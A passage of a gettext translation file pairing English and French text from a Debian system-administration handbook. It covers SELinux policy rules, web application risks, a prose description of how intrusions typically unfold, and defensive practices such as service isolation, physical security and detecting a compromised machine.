msgstr "L'objet visé s'appelait <literal>xconsole</literal>. Dans certains cas on peut aussi avoir une variable « path », avec un chemin d'accès complet."

msgid "<computeroutput>dev=tmpfs</computeroutput>"
msgstr "<computeroutput>dev=tmpfs</computeroutput>"

#, fuzzy
#| msgid "The device hosting the target object is a <literal>tmpfs</literal> (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example: “sda3”)."
msgid "The device hosting the target object is a <literal>tmpfs</literal> (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”)."
msgstr "Le périphérique stockant l'objet est de type <literal>tmpfs</literal>. Pour un disque réel, nous pourrions voir la partition contenant l'objet (exemple : « sda3 »)."

msgid "<computeroutput>ino=5510</computeroutput>"
msgstr "<computeroutput>ino=5510</computeroutput>"

msgid "The object is identified by the inode number 5510."
msgstr "L'objet est identifié par le numéro d'inode 5510."

msgid "<computeroutput>scontext=system_u:system_r:syslogd_t:s0</computeroutput>"
msgstr "<computeroutput>scontext=system_u:system_r:syslogd_t:s0</computeroutput>"

msgid "This is the security context of the process who executed the operation."
msgstr "C'est le contexte de sécurité courant du processus qui a exécuté l'opération."

msgid "<computeroutput>tcontext=system_u:object_r:device_t:s0</computeroutput>"
msgstr "<computeroutput>tcontext=system_u:object_r:device_t:s0</computeroutput>"

msgid "This is the security context of the target object."
msgstr "C'est le contexte de sécurité de l'objet cible."

msgid "<computeroutput>tclass=fifo_file</computeroutput>"
msgstr "<computeroutput>tclass=fifo_file</computeroutput>"

msgid "The target object is a FIFO file."
msgstr "L'objet cible est un fichier FIFO."

#, fuzzy
#| msgid "By observing this log entry, it is possible to build a rule that would allow this operation. For example: <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. This process can be automated, and it's exactly what the <command>audit2allow</command> command (of the <emphasis role=\"pkg\">policycoreutils</emphasis> package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “<literal>dontaudit</literal>” rule to avoid the log entry despite the effective denial."
msgid "By observing this log entry, it is possible to build a rule that would allow this operation. For example, <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. This process can be automated, and it is exactly what the <command>audit2allow</command> command (of the <emphasis role=\"pkg\">policycoreutils</emphasis> package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “<literal>dontaudit</literal>” rule to avoid the log entry despite the effective denial."
msgstr "Ainsi, il est possible de fabriquer une règle qui va autoriser cette opération, cela donnerait par exemple <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. Ce processus est automatisable et c'est ce que propose la commande <command>audit2allow</command> du paquet <emphasis role=\"pkg\">policycoreutils</emphasis>. Une telle démarche ne sera utile que si les objets impliqués sont déjà correctement étiquetés selon ce qu'il est souhaitable de cloisonner. Dans tous les cas, il faudra relire attentivement les règles pour les vérifier et les valider par rapport à votre connaissance de l'application. En effet, bien souvent cette démarche donnera des permissions plus larges que nécessaires. La bonne solution est souvent de créer de nouveaux types et d'attribuer des permissions sur ces types uniquement. Il arrive également qu'un échec sur une opération ne soit pas fatal à l'application, auquel cas il peut être préférable d'ajouter une règle <literal>dontaudit</literal> qui supprime la génération de la trace malgré le refus effectif."

msgid "<emphasis>COMPLEMENTS</emphasis> No roles in policy rules"
msgstr "<emphasis>COMPLÉMENTS</emphasis> Pas de rôle dans les règles"

msgid "<primary>Type Enforcement</primary>"
msgstr "<primary>type, application de types</primary>"

msgid "<primary>Enforcement, Type Enforcement</primary>"
msgstr "<primary>application de types</primary>"

msgid "It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights."
msgstr "On peut s'étonner que les rôles n'interviennent à aucun moment dans la création des règles. SELinux emploie uniquement les domaines pour savoir quelles opérations sont permises. Le rôle n'intervient qu'indirectement en permettant à l'utilisateur d'accéder à un autre domaine. SELinux en tant que tel est basé sur une théorie connue sous le nom de <foreignphrase>Type Enforcement</foreignphrase> (Application de types) et le type (ou domaine) est le seul élément qui compte dans l'attribution des droits."

msgid "Compiling the Files"
msgstr "Compilation des fichiers"

#, fuzzy
#| msgid "Once the 3 files (<filename>example.if</filename>, <filename>example.fc</filename>, and <filename>example.te</filename>) match your expectations for the new rules, just run <command>make NAME=devel</command> to generate a module in the <filename>example.pp</filename> file (you can immediately load it with <command>semodule -i example.pp</command>). If several modules are defined, <command>make</command> will create all the corresponding <filename>.pp</filename> files."
msgid "Once the 3 files (<filename>example.if</filename>, <filename>example.fc</filename>, and <filename>example.te</filename>) match your expectations for the new rules, rename them to <filename>myapp.<replaceable>extension</replaceable></filename> and run <command>make NAME=devel</command> to generate a module in the <filename>myapp.pp</filename> file (you can immediately load it with <command>semodule -i myapp.pp</command>). If several modules are defined, <command>make</command> will create all the corresponding <filename>.pp</filename> files."
msgstr "Une fois que les trois fichiers (<filename>example.if</filename>, <filename>example.fc</filename> et <filename>example.te</filename>) sont conformes aux règles que l'on veut créer, il suffit d'invoquer <command>make NAME=devel</command> pour générer un module dans le fichier <filename>example.pp</filename> (que l'on peut immédiatement charger avec <command>semodule -i example.pp</command>). Si plusieurs modules sont définis, <command>make</command> créera tous les fichiers <filename>.pp</filename> correspondants."

msgid "Other Security-Related Considerations"
msgstr "Autres considérations sur la sécurité"

msgid "Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack."
msgstr "La sécurité n'est pas un simple problème de technique. C'est avant tout de bonnes habitudes et une bonne compréhension des risques. Cette section propose donc une revue de certains risques fréquents, ainsi qu'une série de bonnes pratiques, qui, selon le cas, amélioreront la sécurité ou réduiront l'impact d'une attaque fructueuse."

msgid "Inherent Risks of Web Applications"
msgstr "Risques inhérents aux applications web"

msgid "The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly."
msgstr "L'universalité des applications web a entraîné leur multiplication et il est fréquent d'en avoir plusieurs en service : un <foreignphrase>webmail</foreignphrase>, un wiki, un groupware, des forums, une galerie de photos, un blog, etc. Un grand nombre de ces applications s'appuient sur les technologies LAMP <foreignphrase>(Linux Apache Mysql PHP)</foreignphrase>. Malheureusement, beaucoup ont aussi été écrites sans faire trop attention aux problèmes de sécurité. Trop souvent, les données externes sont utilisées sans vérifications préalables et il est possible de subvertir l'appel d'une commande pour qu'il en résulte une autre, simplement en fournissant une valeur inattendue. Avec le temps, les problèmes les plus évidents ont été corrigés, mais de nouvelles failles de sécurité sont régulièrement découvertes."

msgid "<emphasis>VOCABULARY</emphasis> SQL injection"
msgstr "<emphasis>VOCABULAIRE</emphasis> Injection SQL"

#, fuzzy
#| msgid "When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. <ulink type=\"block\" url=\"http://en.wikipedia.org/wiki/SQL_Injection\" />"
msgid "When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. <ulink type=\"block\" url=\"https://en.wikipedia.org/wiki/SQL_Injection\" />"
msgstr "Lorsqu'un programme exécutant des requêtes SQL y insère des paramètres d'une manière non sécurisée, il peut être victime d'injections SQL. Il s'agit de modifier le paramètre de manière à ce que le programme exécute en réalité une version altérée de la requête SQL, soit pour endommager les données, soit pour récupérer des données auxquelles l'utilisateur ne devait pas avoir accès. <ulink type=\"block\" url=\"http://fr.wikipedia.org/wiki/Injection_SQL\" />"

msgid "<primary>SQL injection</primary>"
msgstr "<primary>Injection SQL</primary>"

msgid "Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a script kiddy) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement."
msgstr "Il est donc indispensable de mettre à jour ses applications web régulièrement pour ne pas rester vulnérable au premier pirate (amateur ou pas) qui cherchera à exploiter cette faille connue. Selon le cas, le risque varie : cela va de la destruction des données à l'exécution de commandes arbitraires, en passant par le vandalisme du site web."

msgid "Knowing What To Expect"
msgstr "Savoir Ă  quoi s'attendre"

msgid "A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences."
msgstr "Ainsi donc, la vulnérabilité d'une application web est un point de départ fréquent pour un acte de piraterie. Voyons quelles peuvent en être les conséquences."

msgid "<emphasis>QUICK LOOK</emphasis> Filtering HTTP queries"
msgstr "<emphasis>DÉCOUVERTE</emphasis> Filtrer les requêtes HTTP"

#, fuzzy
#| msgid "Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time."
msgid "Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time."
msgstr "Il existe des modules pour Apache 2 qui permettent de filtrer les requêtes HTTP entrantes. Il est ainsi possible de bloquer certains vecteurs d'attaques : empêcher les dépassements de tampon en limitant la longueur de certains paramètres, par exemple. D'une manière générale, il est possible de valider en amont les paramètres envoyés à une application web et de restreindre l'accès à celle-ci selon de nombreux critères. Il est même possible de combiner cela avec une modification dynamique du pare-feu pour bloquer pendant quelques minutes un utilisateur ayant enfreint une des règles mises en place."

msgid "Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned."
msgstr "Ces vérifications sont pénibles à mettre en place, mais elles s'avèrent assez efficaces si l'on est contraint de déployer une application web à la sécurité incertaine."

msgid "<emphasis>mod-security2</emphasis> (in the <emphasis role=\"pkg\">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role=\"pkg\">modsecurity-crs</emphasis> package) that you can easily enable."
msgstr "<emphasis>mod-security2</emphasis> (paquet <emphasis role=\"pkg\">libapache2-mod-security2</emphasis>) est le principal module qui peut être employé dans cette optique. Il est accompagné de nombreuses règles prêtes à l'emploi et simples à installer (dans le paquet <emphasis role=\"pkg\">modsecurity-crs</emphasis> package)."

msgid "<primary><emphasis role=\"pkg\">libapache-mod-security</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">libapache-mod-security</emphasis></primary>"

msgid "<primary><emphasis>mod-security</emphasis></primary>"
msgstr "<primary><emphasis>mod-security</emphasis></primary>"

msgid "The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. <emphasis>Script-kiddies</emphasis> only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines."
msgstr "Selon l'intention du pirate, son intrusion sera plus ou moins évidente. Les <foreignphrase>script-kiddies</foreignphrase> se contentent d'appliquer les recettes toutes prêtes qu'ils trouvent sur des sites web. Le vandalisme d'une page web ou la suppression des données sont les issues les plus probables. Parfois, c'est plus subtil et ils ajoutent du contenu invisible dans les pages web afin d'améliorer le référencement de certains de leurs sites."

msgid "A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack."
msgstr "Un pirate plus avancé ne se contentera pas de ce maigre résultat. Un scénario catastrophe pourrait se poursuivre comme suit : le pirate a obtenu la possibilité d'exécuter des commandes en tant qu'utilisateur <literal>www-data</literal>, mais cela requiert de nombreuses manipulations pour chaque commande. Il va chercher à se faciliter la vie en installant d'autres applications web précisément développées pour exécuter à distance toutes sortes de commandes : naviguer dans l'arborescence, analyser les droits, télécharger des fichiers, en déposer, exécuter des commandes et, le summum, mettre à disposition un interpréteur de commandes par le réseau. Très fréquemment, la faille lui permettra de lancer un <command>wget</command> qui va télécharger un programme malfaisant dans <filename>/tmp/</filename> et il l'exécutera dans la foulée. Le programme sera téléchargé depuis un serveur étranger qui, lui aussi, a été compromis, l'intérêt étant de brouiller les pistes si jamais l'on voulait remonter à l'origine de l'attaque."

msgid "At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access."
msgstr "À ce stade, l'attaquant a tellement de liberté qu'il installe souvent un <foreignphrase>bot</foreignphrase> IRC (un robot qui se connecte à un serveur IRC et qui peut être commandé par ce biais). Il sert souvent à échanger des fichiers illégaux (films et logiciels piratés, etc.). Un pirate déterminé peut vouloir aller encore plus loin. Le compte <literal>www-data</literal> ne permet pas de profiter pleinement de la machine ; il va donc chercher à obtenir les privilèges de l'administrateur. C'est théoriquement impossible, mais si l'application web n'était pas à jour, il est probable que le noyau ou un autre programme ne le soit pas non plus. D'ailleurs, l'administrateur avait bien vu passer l'annonce d'une vulnérabilité, mais puisque cela n'était exploitable que localement et que le serveur n'avait pas d'utilisateur local, il n'a pas pris soin de mettre à jour. L'attaquant profite donc de cette deuxième faille pour obtenir un accès <literal>root</literal>."

msgid "<emphasis>VOCABULARY</emphasis> Privilege escalation"
msgstr "<emphasis>VOCABULAIRE</emphasis> Élévation des privilèges"

msgid "This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights."
msgstr "Cette technique consiste à obtenir plus de droits qu'un utilisateur n'en a normalement. Le programme <command>sudo</command> est prévu pour cela : donner les droits d'administrateur à certains utilisateurs. On emploie aussi la même expression pour désigner l'action d'un pirate qui exploite une faille pour obtenir des droits qu'il ne possède pas. En anglais, l'expression est <foreignphrase>privilege escalation</foreignphrase>."

msgid "Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a <emphasis>rootkit</emphasis>, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time; the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted <command>ps</command> program will omit to list some processes, <command>netstat</command> will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing <command>sudo</command> or <command>ssh</command> with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on."
msgstr "Maintenant qu'il règne en maître sur la machine, il va essayer de garder cet accès privilégié aussi longtemps que possible. Il va installer un <foreignphrase>rootkit</foreignphrase> : il s'agit d'un programme qui va remplacer certains composants du système afin de ré-obtenir facilement les privilèges d'administrateur et qui va tenter de dissimuler son existence, ainsi que les traces de l'intrusion. Le programme <command>ps</command> omettra certains processus, le programme <command>netstat</command> ne mentionnera pas certaines connexions actives, etc. Grâce aux droits <literal>root</literal>, l'attaquant a pu analyser tout le système, mais il n'a pas trouvé de données importantes. Il va alors essayer d'accéder à d'autres machines du réseau de l'entreprise. Il analyse le compte de l'administrateur local et consulte les fichiers d'historique pour retrouver les machines auxquelles l'administrateur s'est connecté. Il peut remplacer <command>sudo</command> par une version modifiée qui enregistre (et lui fait parvenir) le mot de passe saisi. La prochaine fois que l'administrateur viendra effectuer une opération sur ce serveur, le pirate obtiendra son mot de passe et pourra librement l'essayer sur les serveurs détectés."

msgid "This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures."
msgstr "Pour éviter d'en arriver là, il y a de nombreuses mesures à prendre. Les prochaines sections s'attacheront à en présenter quelques-unes."

msgid "Choosing the Software Wisely"
msgstr "Bien choisir les logiciels"

msgid "Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites, such as <literal>SecurityFocus.com</literal>, keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit."
msgstr "Une fois sensibilisé aux problèmes potentiels de sécurité, il faut y faire attention à toutes les étapes de la mise en place d'un service et en premier lieu, lors du choix du logiciel à installer. De nombreux sites comme <literal>SecurityFocus.com</literal> recensent les vulnérabilités découvertes et on peut ainsi se faire une idée de la sûreté d'un logiciel avant de le déployer. Il faut évidemment mettre en balance cette information avec la popularité dudit logiciel : plus nombreux sont ses utilisateurs, plus il constitue une cible intéressante et plus il sera scruté de près. Au contraire, un logiciel anodin peut être truffé de trous de sécurité, mais comme personne ne l'utilise, aucun audit de sécurité n'aura été réalisé."

msgid "<emphasis>VOCABULARY</emphasis> Security audit"
msgstr "<emphasis>VOCABULAIRE</emphasis> Audit de sécurité"

msgid "A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements."
msgstr "Un audit de sécurité est une lecture et une analyse du code source afin de trouver toutes les failles de sécurité qu'il pourrait contenir. Un audit est souvent préventif ; il est réalisé pour s'assurer que le programme est conforme à certaines exigences de sécurité."

#, fuzzy
#| msgid "In the Free Software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements."
msgid "In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements."
msgstr "Le monde du logiciel libre offre souvent le choix. Il faut prendre le temps de bien choisir en fonction de ses critères propres. Plus un logiciel dispose de fonctionnalités intégrées, plus le risque est grand qu'une faille se cache quelque part dans le code. Il ne sert donc à rien de retenir systématiquement le logiciel le plus avancé ; il vaut souvent mieux privilégier le logiciel le plus simple qui répond à tous les besoins exprimés."

msgid "<emphasis>VOCABULARY</emphasis> Zero-day exploit"
msgstr "<emphasis>VOCABULAIRE</emphasis> <foreignphrase>Zero day exploit</foreignphrase>"

msgid "A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program."
msgstr "Une attaque de type <foreignphrase>zero day exploit</foreignphrase> est imparable. Il s'agit d'une attaque utilisant une faille qui n'est pas encore connue des auteurs du logiciel."

msgid "Managing a Machine as a Whole"
msgstr "GĂ©rer une machine dans son ensemble"

msgid "Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine."
msgstr "La plupart des distributions Linux installent en standard un certain nombre de services Unix ainsi que de nombreux utilitaires. Dans bien des cas, ils ne sont pas nécessaires au bon fonctionnement des services que l'administrateur met en place sur la machine. Comme bien souvent en sécurité, il vaut mieux supprimer tout ce qui n'est pas nécessaire. En effet, cela ne sert à rien de s'appuyer sur un serveur FTP sécurisé si une faille dans un service inutilisé fournit un accès administrateur à la machine."

msgid "By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible."
msgstr "C'est la même logique qui incite à configurer un pare-feu n'autorisant l'accès qu'aux services qui doivent être accessibles au public."

msgid "Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions)."
msgstr "Les capacités des ordinateurs permettent facilement d'héberger plusieurs services sur une même machine. Ce choix se justifie économiquement : un seul ordinateur à administrer, moins d'énergie consommée, etc. Mais du point de vue de la sécurité, ce choix est plutôt gênant. La compromission d'un service entraîne souvent l'accès à la machine complète et donc aux données des autres services hébergés sur le même ordinateur. Pour limiter les risques de ce point de vue, il est intéressant d'isoler les différents services. Cela peut se faire soit avec de la virtualisation, chaque service étant hébergé sur une machine virtuelle ou un conteneur dédié, soit avec AppArmor/SELinux, en paramétrant les droits associés au démon (programme serveur) en charge de chaque service."

msgid "Users Are Players"
msgstr "Les utilisateurs sont des acteurs"

msgid "Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on."
msgstr "Lorsqu'on parle de sécurité, on pense immédiatement à la protection contre les attaques des pirates anonymes qui se camouflent dans l'immensité d'Internet. On oublie trop souvent que les risques proviennent aussi de l'intérieur : un employé en instance de licenciement qui télécharge des dossiers sur les projets les plus importants et qui les propose à la concurrence, un commercial négligent qui reste connecté pendant qu'il s'absente alors qu'il reçoit un nouveau prospect, un utilisateur maladroit qui a supprimé le mauvais répertoire par erreur, etc."

msgid "The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks."
msgstr "La réponse à ces problématiques passe parfois par de la technique : il ne faut pas donner plus que les accès nécessaires  et il convient d'avoir des sauvegardes régulières. Mais dans la plupart des cas, il s'agit avant tout de prévention en formant les utilisateurs afin qu'ils puissent mieux éviter les risques."

msgid "<emphasis>QUICK LOOK</emphasis> <emphasis role=\"pkg\">autolog</emphasis>"
msgstr "<emphasis>DÉCOUVERTE</emphasis> <emphasis role=\"pkg\">autolog</emphasis>"

msgid "The <emphasis role=\"pkg\">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons."
msgstr "Le paquet <emphasis role=\"pkg\">autolog</emphasis> fournit un logiciel déconnectant automatiquement les utilisateurs inactifs (après un délai configurable). Il tue aussi les processus utilisateurs qui persistent après la déconnexion de ces derniers (en les empêchant ainsi d'avoir leurs propres démons)."

msgid "Physical Security"
msgstr "Sécurité physique"

msgid "There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated."
msgstr "Il ne sert à rien de sécuriser l'ensemble de vos services si les ordinateurs sous-jacents ne sont pas eux-mêmes protégés. Il est probablement judicieux que les données les plus importantes soient stockées sur des disques en RAID que l'on peut remplacer à chaud, parce que justement on tient à garantir leur préservation malgré la faillibilité des disques. Mais il serait regrettable qu'un livreur de pizza puisse s'introduire dans le bâtiment et faire un saut dans la salle des serveurs pour emmener les quelques disques... Qui a accès à la salle des machines ? Y a-t-il une surveillance des accès ? Voilà quelques exemples de questions qu'il faut se poser lorsque l'on considère le problème de la sécurité physique."

msgid "Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox."
msgstr "On peut aussi inclure sous cette bannière la prise en compte des risques d'accidents tels que les incendies. C'est ce risque qui justifie que les sauvegardes soient stockées dans un autre bâtiment ou du moins dans un coffre ignifugé."

msgid "Legal Liability"
msgstr "Responsabilité juridique"

msgid "An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit."
msgstr "En tant qu'administrateur, vous bénéficiez, implicitement ou non, de la confiance des utilisateurs ainsi que des autres usagers du réseau. Évitez toute négligence dont des malfaisants sauraient profiter ."

#, fuzzy
#| msgid "An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant nevertheless. In other cases, more important trouble can be caused from your machine, for instance denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine."
msgid "An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine."
msgstr "Un pirate prenant le contrôle de votre machine, puis l'employant comme une sorte de base avancée (on parle de système relais) afin de commettre un méfait, pourrait vous causer de l'embarras puisque des tiers verront en vous, d'emblée, le pirate ou son complice. Dans le cas le plus fréquent, le pirate emploiera votre machine afin d'expédier du spam, ce qui n'aura vraisemblablement pas d'impact majeur (hormis des inscriptions éventuelles sur des listes noires qui limiteraient votre capacité à expédier des messages) mais n'enthousiasmera personne. Dans d'autres cas, des exactions seront commises grâce à votre machine, par exemple des attaques par déni de service. Elles induiront parfois un manque à gagner, car rendront indisponibles des services logiciels ou détruiront des données, voire un coût, parce qu'une entité s'estimant lésée intentera une action en justice (la détentrice des droits de diffusion d'une œuvre indûment mise à disposition via votre machine, ou encore une entreprise engagée à maintenir une disponibilité donnée via un contrat de qualité de service (SLA-SLM) et se voyant contrainte d'acquitter des pénalités à cause du piratage)."

msgid "When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks."
msgstr "Vous souhaiterez alors étayer vos protestations d'innocence en produisant des éléments probants montrant l'activité douteuse menée sur votre système par des tiers employant une adresse IP donnée. Cela restera impossible si, imprudemment, vous négligez les recommandations de ce chapitre et laissez le pirate disposer facilement d'un compte privilégié (en particulier le compte <literal>root</literal>) grâce auquel il effacera ses propres traces."

msgid "Dealing with a Compromised Machine"
msgstr "En cas de piratage"

msgid "Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances."
msgstr "Malgré toute la bonne volonté et tout le soin apporté à la politique de sécurité, tout administrateur informatique est tôt ou tard confronté à un acte de piratage. Cette section donne des lignes directrices pour bien réagir face à ces fâcheux événements."

msgid "Detecting and Seeing the Cracker's Intrusion"
msgstr "DĂ©tecter et constater le piratage"

msgid "The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure."
msgstr "Avant de pouvoir agir face à un piratage, il faut se rendre compte que l'on est effectivement victime d'un tel acte. Ce n'est pas toujours le cas... surtout si l'on ne dispose pas d'une infrastructure de supervision adéquate."

#, fuzzy
#| msgid "Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance one named <literal>apache</literal> instead of the standard <literal>/usr/sbin/apache2</literal>. If we follow that example, the thing to do is to note its process identifier, and check <filename>/proc/<replaceable>pid</replaceable>/exe</filename> to see what program this process is currently running:"
